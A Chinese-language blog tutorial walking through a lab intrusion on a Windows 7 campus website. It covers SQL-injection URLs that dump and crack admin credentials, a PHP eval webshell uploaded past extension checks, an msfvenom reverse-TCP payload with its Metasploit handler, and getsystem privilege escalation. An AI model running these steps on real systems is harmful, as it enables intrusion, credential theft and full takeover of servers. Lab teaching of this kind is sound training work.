模拟网站攻击到提权的全部过程

  • A+
所属分类:安全文章

今天去给新一届的学生演示一次网站拿webshell到系统提权的过程,但不幸的是中间翻车了,老年人紧张得忘记了msf监听木马的指令,然后哆哆嗦嗦的在大家眼下,打开了笔记查看一下2333…所以更新一下文章,给自己一个教训QWQ。

靶机(被攻击方):win7系统
入侵者(攻击方):win10系统、kali系统

首先启动win7系统,搭建一个常见的校园网站,然后映射到局域网,使得我们能正常访问

模拟网站攻击到提权的全部过程

sql注入漏洞

把整个网站浏览完一遍后,我们发现这里的url为?id=10结尾,我们猜测可能是一个sql注入点

模拟网站攻击到提权的全部过程


首先我们在id=10后面加上一个单引号’进行判断

模拟网站攻击到提权的全部过程


这个时候我们发现回显的数据不正常,于是我们再加一个注释符号

模拟网站攻击到提权的全部过程

发现数据这个时候回显的时候是正常的,到这一步我们已经可以确定这里存在一个sql注入漏洞

原理我们可以简单解释一下
在网站中,我们一般使用数据库存储网站数据,网站和数据库是存在一个交互性。网站所呈现的内容是由代码中写入的sql语句调用数据库中的内容进行一个呈现,例如我们刚刚看到的文字。
而sql注入漏洞一般是由于程序员书写的sql语句不规范所导致的安全事件。


例如网站源码中使用如下的sql语句进行查询

模拟网站攻击到提权的全部过程

给语句结尾的where查询条件加上一个单引号’

模拟网站攻击到提权的全部过程


很显然,我们传入的单引号和前面的单引号闭合,后面只有一个无法成对的单引号,然后报了语法错误。这个时候我们再加上--+注释符号注释掉后面的单引号

模拟网站攻击到提权的全部过程


这个时候查询的数据就会正确回显出来。

原理简单解释了一下之后,我们回到刚刚的网站。
这个时候我们发现存在sql注入漏洞之后,我们就开始进行查询对方网站数据库的数据,找到一些敏感信息,例如管理员的账号密码等等

首先,我们使用order by语句快速猜解出表中的列数


模拟网站攻击到提权的全部过程

发现10列的时候报错,说明不足10列,我们继续缩小范围

模拟网站攻击到提权的全部过程

再查询第8列的时候,发现数据回显正确,说明对方表中含有列数8
我们使用union select 自定义查询测试一下,注意我们这里前面的id=10,要写成id=-10,把这里的查询置空

模拟网站攻击到提权的全部过程

发现会分别回显第三列、第五列和第七列。接下来我们就可以在三、五、七处做做文章

查询数据库名字:

http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,database(),4,5,6,7,8


模拟网站攻击到提权的全部过程

得到数据库名字:qzn_zuiai

查询数据库中的表名:


http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema="qzn_zuiai"



模拟网站攻击到提权的全部过程


得到一共se2admin,se2fl,se2hd,se2nr,se2tufl,se2tunr,se2wz,se2zf,sj3sk九张表
通过表名,我们猜测se2admin可能是存储管理员账号和密码的表,所以我们先查询这张表中的数据

查询表se2admin中的字段:


http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name="se2admin"


模拟网站攻击到提权的全部过程


得到表中的字段值有id,name,pass等,接下来我们查询name和pass的字段值

查询字段值:


http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,name,4,pass,6,7,8 from se2admin



模拟网站攻击到提权的全部过程


我们得到管理员账号:admin,管理员账号密码:7fef6171469e80d32c0559f88b377245
很显然密码值是被加密的md5值,所以我们去网上找md5网站进行撞库查询

模拟网站攻击到提权的全部过程


得到管理员密码为:admin888
接下来我们需要查找这个网站的后台地址,我们使用御剑进行一个扫描

模拟网站攻击到提权的全部过程

御剑爆出了很多敏感地址,我们找到一个admin的目录,可能是后台地址,我们去访问一下

模拟网站攻击到提权的全部过程

输入我们刚刚得到的管理员账号和密码admin:admin888


模拟网站攻击到提权的全部过程

这个时候,我们成功进入对方网站后台。

文件上传漏洞

接下来我们再这里找到一个文件上传点

模拟网站攻击到提权的全部过程


我们写一个简单的一句话木马

<?php @eval($_POST['pass']);?>


模拟网站攻击到提权的全部过程


考虑到这里可能会对我们上传的文件进行一个后缀限制,例如只能上传jpg或者png图片格式文件等,所以我们把muma.txt改成muma.jpg格式
模拟网站攻击到提权的全部过程

我们开启burpsuite,然后点提交,拦截到我们发送的数据包
模拟网站攻击到提权的全部过程

我们把muma.jpg改回php文件类型:muma.php

模拟网站攻击到提权的全部过程

然后发送数据包

模拟网站攻击到提权的全部过程

ok,已经上传成功,我们去找找我们上传后的路径

模拟网站攻击到提权的全部过程

得到我们的上传完整路径为:http://192.168.1.167/yxlink/img/img_3699336993.php
我们使用蚁剑进行连接我们上传的木马


模拟网站攻击到提权的全部过程


成功连接,进入到对方服务器

模拟网站攻击到提权的全部过程

到此,已成功拿到webshell

接下来我们利用kali的msf制作一个exe类型的反弹型木马


msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f 类型 -o 文件名


模拟网站攻击到提权的全部过程


把做好的木马,通过我们蚁剑刚刚连接的webshell进行上传

模拟网站攻击到提权的全部过程


模拟网站攻击到提权的全部过程


上传成功后,我们在kali启动msf

模拟网站攻击到提权的全部过程


执行监听



use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.131set lport 4444exploit


模拟网站攻击到提权的全部过程

执行木马

msf开启监听之后,我们去蚁剑webshell执行我们上传的木马

模拟网站攻击到提权的全部过程

执行之后,回到kali,我们可以看到msf目标正在回连,创建Meterpreter会话成功

模拟网站攻击到提权的全部过程

提权

首先查看一下我们的用户权限


模拟网站攻击到提权的全部过程


发现是普通用户权限,之前我们已经在webshell观察到对方是win7系统,所以我们采用的是windows的载荷攻击
我们尝试使用getsystem进行提权试试

模拟网站攻击到提权的全部过程

发现直接提权成功,现在我们拥有windows最高权限system
接下来我们打印一下系统信息,并且拍照对方电脑现在状态

模拟网站攻击到提权的全部过程

模拟网站攻击到提权的全部过程

ok,成功。

在拿到system权限之后,我们可以干很多很多的事…例如给对方种下后门,拿来当肉鸡等等。。。
这告诉我们开发网站必须注重安全,否则带来的后果是无穷大的。
emmm…这波有点难受。

注:本文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本文章不承担任何法律及连带责任,请遵守中华人民共和国安全法

往期推荐

批量漏洞挖掘思路小结

资深渗透测试工程师整理的一些学习资料及技巧

MySQL提权总结(建议收藏)

浅谈src漏洞的批量挖掘

中专生 DDoS 攻击蚂蚁金融被判刑

SRC快速挖洞上分小秘籍+实战指南



相关推荐: 近十年内去过泰国的游客请注意!你的隐私可能已泄露

    泰国是一个深受游客喜爱的国家。它有着旖旎的风光和各种美食,而且购物商场多,签证政策便于旅行,货币汇率低。在疫情冲击全球旅游业之前,2019年世界旅游收入最高国家排行榜中,美国高居榜首,泰国则位居第四。   &nb…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: